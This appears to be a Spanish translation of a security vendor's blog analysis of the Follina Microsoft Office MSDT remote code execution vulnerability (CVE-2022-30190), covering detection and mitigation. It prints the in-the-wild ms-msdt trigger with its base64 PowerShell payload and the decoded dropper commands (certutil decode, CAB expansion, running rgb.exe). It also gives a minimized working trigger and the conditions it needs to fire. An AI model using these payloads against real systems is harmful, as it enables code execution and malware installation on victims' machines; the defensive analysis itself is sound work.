Respuesta rápida: RCE de Microsoft Office - Ataque MSDT "Follina"

Esta publicación, como es la norma para las amenazas emergentes, es un artículo en desarrollo y puede estar sujeto a cambios a medida que el equipo de Huntress conozca más sobre este vector de ataque y haya nueva información disponible.

ACTUALIZACIÓN 4:51 p. m. hora del Este, 14 de junio de 2022:

Microsoft anunció un parche disponible para el exploit Follina. Nuestro equipo ha estado trabajando para validar el parche, y hemos probado y verificado que el parche es efectivo tanto para Windows 10 como para Windows 11:

image (8)

Solo para aclarar, tu número de KB puede variar según tu sistema operativo; consulta la actualización de Microsoft para ver la lista completa.

A continuación, el código no logra ejecutarse en Windows 10:

image (7)-1

En la siguiente imagen, el comando sin procesar falla en Windows 10:

image (9)

ACTUALIZACIÓN 11:16 p. m. hora del Este, 30 de mayo de 2022:

Microsoft ya reveló que el identificador CVE para esta vulnerabilidad es CVE-2022-30190, e incluyó una actualización de seguridad y un artículo con orientación... pero hasta ahora no parece haber un parche disponible.

Enlaces rápidos

Cómo entender el exploit

Esfuerzos de detección

Esfuerzos de mitigación

La versión no técnica de lo que está pasando

Lecturas adicionales

Huntress está siguiendo de cerca la amenaza en desarrollo de una técnica de ejecución remota de código sin clics (zero-click) que se usa a través de MSDT (Microsoft Diagnostics Tool) y las utilidades de Microsoft Office, en particular Microsoft Word. Durante los próximos días, esperamos intentos de explotación en el mundo real a través de entrega por correo electrónico.

En este artículo, hablaremos de cómo recrear el vector de ataque, los esfuerzos de detección y los posibles pasos de mitigación.

Si estás buscando orientación sobre cómo mantener seguros a tus usuarios en lugar de una explicación detallada de la vulnerabilidad, la respuesta corta es avisarles que hay una vulnerabilidad recién descubierta en MS Word (y probablemente en otras aplicaciones de MS Office) que podría instalar malware, por lo que deben estar especialmente atentos al abrir cualquier archivo adjunto. También deben saber que este exploit puede activarse con solo pasar el cursor sobre la vista previa de un archivo descargado, sin necesidad de ningún clic (después de la descarga). Hay sugerencias adicionales para acciones de mitigación al final de esta publicación.

Cómo entender el exploit

El equipo de Huntress obtuvo la muestra compartida primero por @nao_sec en Twitter y examinó el contenido del documento de Microsoft Word. Hemos replicado este exploit y compartimos nuestros hallazgos a continuación.

Al descomprimir el archivo se extraen todos los componentes que conforman el documento de Office.

AGk0z-Nw863bCoqJyqzHawiKjw85aE9B9niLdyjI8nP81oRTrKc3jO2Nc8LQJsFb1HBEWOTC3ARSMY2bdKpAWlse1ZI3UO7LLPrsOmzH8A8=s940

Dentro de la carpeta word/_rels/ hay un archivo document.xml.rels, que contiene una referencia externa a hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!

AGk0z-Mh2jUKtAL6bGu7KnQBIxCBYLzG96FJhvWysAiXJhfMjqPJhB55rQrc-ObOELbgQ6YMcXD5LX4SS-1aoqsRsx-Rt_cfslfz151U1FA=s1600

Al momento de escribir esto (0041 EDT, 30 de mayo de 2022), este sitio web ya no está en línea. A partir de la investigación previa compartida por @nao_sec, pudimos recuperar el HTML del análisis dinámico de ANY.RUN.

Este era el contenido original de RDF842l.html:

AGk0z-NzyeIhzJVD1QdOetaZ2sUrDFl6qNPO5AcWdKj6sBXrxC1e42aj2wED0QUnClPyvP-YY18KALWbKqCziwpSJPvjiWCn5F0q_JbyLQc=s1592

Haz clic en la imagen para ampliarla

Este documento HTML comienza con una etiqueta de script e incluye una cantidad significativa de caracteres A comentados, los cuales (considerando que son solo comentarios) parecerían no tener ningún propósito… pero, según nuestras pruebas, una gran cantidad de caracteres es necesaria para que el exploit se active.

En la parte inferior de la etiqueta de script se encuentra la siguiente sintaxis:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

 Esto parece ser el núcleo del exploit. Usando un esquema para ms-msdt, se invoca el paquete nativo PCWDiagnostic con los parámetros IT_BrowseForFile, que incluyen sintaxis de PowerShell incrustada dentro de $().

Los datos codificados en Base64, al pasar por dos capas de Invoke-Expression, se decodifican en:

$cmd = "c:\windows\system32\cmd.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

Con la ruta de cmd.exe capturada como variable, este proceso:

  • Inicia ventanas ocultas para:
  • Terminar msdt.exe si está en ejecución
  • Recorrer archivos dentro de un archivo RAR, buscando una cadena en Base64 para un archivo CAB codificado
  • Guardar este archivo CAB codificado en Base64 como 1.t
  • Decodificar el archivo CAB codificado en Base64 para guardarlo como 1.c
  • Expandir el archivo CAB 1.c en el directorio actual y, finalmente:
  • Ejecutar rgb.exe (presumiblemente comprimido dentro del archivo CAB 1.c)

El impacto específico de rgb.exe se desconoce, pero lo importante es que se trata de una técnica novedosa de acceso inicial que les da a los actores de amenazas ejecución de código con un solo clic, o menos. Este es un ataque atractivo para los adversarios porque está oculto dentro de un documento de Microsoft Word sin macros que activen las señales de advertencia habituales para los usuarios, pero con la capacidad de ejecutar código alojado de forma remota.

Para entender mejor esta amenaza, los investigadores de seguridad de Huntress modificaron el interior del documento de Word para que apuntara a una dirección local dentro de un sandbox de análisis, y entregaron un payload benigno que mostraba un mensaje en lugar de detonar malware.

AGk0z-MJoFmNdQJPwfxEz5YrwtbzKby74JE1PYdd2HNcbRZkFnm9kxt36GHjiocX_zFwUoeOypcH-KE7wjK27CVOSvLzjI2pWqVWHyPWE1c=s1600

Haz clic en la imagen para ampliarla

Después de algunas pruebas, quedó claro que el payload no se ejecutaría sin una cantidad significativa de caracteres de relleno (las A que aparecían en los comentarios HTML). Exploramos distintas variaciones, usando diferentes caracteres y colocando el bloque de comentarios arriba y abajo del código del script que lo activaba… pero no nos quedó claro por qué era necesario hasta que la comunidad intervino. Rich Warren compartió un blog de Bill Demirkapi que indicaba que había un tamaño de búfer codificado de forma fija para una función de procesamiento de HTML, y pudimos confirmar que cualquier archivo con menos de 4096 bytes no invocaría el payload.

Tras seguir experimentando, notamos que parte de la sintaxis usada dentro de la invocación del script no era necesaria para invocar el payload. Usando el mismo payload benigno (con la apertura de la calculadora integrada de Windows como demostración de éxito), pudimos reducir el disparador a solo:

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";

Parecía que:

  • Como mínimo, se requerían dos recorridos de directorio /../ al inicio del parámetro IT_BrowseForFile
  • El código envuelto dentro de $() se ejecutaría mediante PowerShell, pero los espacios lo romperían
  • ".exe" debía ser la última cadena final presente al final del parámetro IT_BrowseForFile

Si bien esto no es, de ninguna manera, lo más que podría comprimirse, esperamos que esto muestre cómo podrían existir variantes de este ataque.

Ten en cuenta que un archivo con formato de texto enriquecido (.rtf) podía activar la invocación de este exploit con solo el panel de vista previa dentro del Explorador de Windows. Al igual que con CVE-2021-40444, esto aumenta la gravedad de esta amenaza porque no solo se puede explotar con "un clic", sino potencialmente con un disparador de "cero clics".

AGk0z-MOs9U3ALZK6kMYP_LdBEQ6jH7V24XjTzYZ9Ds6WyjJzWvFl1AAGCLE8DHMS6A6e8KGbvtr24po9Cnwur1SqwQU9qwjoe8Xcx3HstU=s1385

Haz clic en la imagen para ampliarla

Además, el payload que activa el ataque puede comunicarse con ubicaciones remotas. Si bien es poco probable que esto invoque un binario no confiable, la conexión seguirá transportando hashes NTLM (lo que significa que los actores maliciosos ahora tienen un hash de la contraseña de Windows de la víctima) que un adversario podría usar para continuar la explotación posterior.

AGk0z-P6kTLiPeyDa6YZCe5AEdohGOpzTLrstINkghoX9xRwpv4CuppZralpBJxttkXENol6BELYkWF22jBKyPhxNmD9cijCams-cY70I4Q=s1600

Haz clic en la imagen para ampliarla

Felicitamos a investigadores anteriores por alertarnos sobre esas posibles amenazas remotas, a partir de su análisis de otros métodos para aprovechar MSDT:

AGk0z-Mc4d4pkjOQxAwR-N_aQbmNl0mcUMM3za2tcHD4KEEfpSocemhgEYL88EWpwwkfwQUwiQ2joAKDu2xOS9o6lAARfEcn0Nv0yTAFVZo=s823

Ten en cuenta que esta técnica de ataque ejecuta código bajo la cuenta del usuario que abrió o accedió al documento malicioso. Esto significa que un adversario puede comenzar como un usuario con pocos privilegios (sin permisos de administrador), pero luego puede usar este acceso para activar más ataques, escalar privilegios y obtener más acceso al entorno objetivo.

Educar a los usuarios para identificar y eliminar correos electrónicos maliciosos sigue siendo tu mejor línea de defensa hasta que haya un parche disponible para implementar en tus endpoints.

Esfuerzos de detección

Los payloads ejecutados por este vector de ataque crearán un proceso hijo de msdt.exe bajo el proceso principal de Microsoft Office comprometido.

AGk0z-MZ0yjTaz7a2wZHqfSHNoJImKbYav_J_KwnhodBjZTEc_awnFJOYVBNcDQtbInJDmiDW13nPSauZAJEq9N77vCBBxfiw3Ev7gE0958=s1600

Además, el proceso sdiagnhost.exe se generará con un hijo conhost.exe y sus procesos de payload subsiguientes (nuestro calc.exe benigno rebotaría y abriría la aplicación metro Calculator.exe).

AGk0z-N6EKRpqyoAz8dKqeFFhaD7sZ70hP0uiqlyFKDflfjynMQ-Fhh2TBlQWGBP0q5dq1GfodSwCiA6AJyeEIebQtOTXo-IITjO_jblSTE=s1582

Haz clic en la imagen para ampliarla

Huntress ha estado agregando continuamente capacidades de detección a nuestra plataforma de seguridad administrada y está monitoreando activamente amenazas, incluidas las relacionadas con esta vulnerabilidad. Hemos validado que los exploits específicos vistos en el entorno real activan incidentes de Huntress Managed Antivirus con Windows Defender. Además, nuestro equipo de Operaciones de amenazas está realizando una búsqueda en toda nuestra tecnología de Process Insights para detectar nuevas variaciones de esta amenaza.

Si estás haciendo tu propia caza de amenazas, las reglas SIGMA para detectar esto se encuentran aquí — felicitaciones al ingeniero de detección de Huntress, Matthew Brennan!

Actualmente, Windows Defender detectará la muestra maliciosa conocida en el entorno real como CVE-2017-0199. Aunque esta amenaza no es una vulnerabilidad que date de 2017, es probable que esta detección se perfeccione y mejore muy pronto.

Esfuerzos de mitigación

Aunque todavía no se ha publicado un parche al momento de escribir esto, aún puedes aplicar medidas de mitigación para limitar tu superficie de ataque.

Si utilizas las reglas de Attack Surface Reduction (ASR) de Microsoft Defender en tu entorno, activar la regla “Block all Office applications from creating child processes” en Block mode evitará que esto sea explotado. Sin embargo, si aún no usas ASR, es posible que quieras ejecutar la regla en Audit mode primero y monitorear el resultado para asegurarte de que no haya un impacto negativo en los usuarios finales.

Otra opción es eliminar la asociación de tipo de archivo para ms-msdt (esto se puede hacer en el Registro de Windows HKCR:\ms-msdt o con el fragmento de PowerShell de Kelvin Tegelaar). Cuando se abre el documento malicioso, Office no podrá invocar ms-msdt, lo que evita que el malware se ejecute. Asegúrate de hacer una copia de seguridad de la configuración del registro antes de usar esta mitigación.

La versión no técnica de lo que está pasando

Si te preguntas cómo comunicar este exploit a tus usuarios finales (o si necesitas este análisis explicado para tu propio conocimiento), aquí tienes las ideas principales:

  • Este es un ataque de día cero que surgió de la nada, y actualmente no hay ningún parche disponible
  • Este día cero incluye ejecución remota de código, lo que significa que, una vez que se detona este código, los actores de amenazas pueden elevar sus propios privilegios y potencialmente obtener acceso de “modo dios” al entorno afectado
  • Las mitigaciones disponibles son soluciones improvisadas cuyo impacto la industria aún no ha tenido tiempo de estudiar. Implican cambiar configuraciones en el Registro de Windows, lo cual es algo serio porque una entrada incorrecta en el Registro podría dejar tu endpoint inutilizable
  • Detonar este código malicioso es tan simple como abrir un documento de Word, en modo de vista previa

Lecturas adicionales

También te podría interesar